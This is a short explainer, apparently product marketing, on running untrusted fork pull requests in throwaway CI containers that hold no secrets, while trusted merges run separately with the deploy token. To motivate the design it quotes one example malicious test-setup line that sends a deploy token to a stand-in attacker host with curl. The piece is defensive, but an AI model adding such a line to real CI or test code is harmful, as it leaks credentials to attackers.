Fork PRs run on your metal with none of your secrets

A first-time contributor opens a PR. The diff adds a line to the test setup: curl $DEPLOY_TOKEN attacker.example. On a hosted runner with secrets in scope, that's a breach.

Your webhook handler on hoody-exec clones the CI container from the runner-clean snapshot, runs the suite, posts the result, and deletes the container. The clone has no secrets: the deploy token lives in a different container the runner cannot see, list, or reach, since there is no shared bridge. The PR gets a whole computer and the computer knows nothing.

Trusted merges run in a different container with the token present. Same server, two different kinds of box.

On a flat-rate server a throwaway runner per PR costs nothing extra. The untrusted build gets all the isolation and none of the credentials.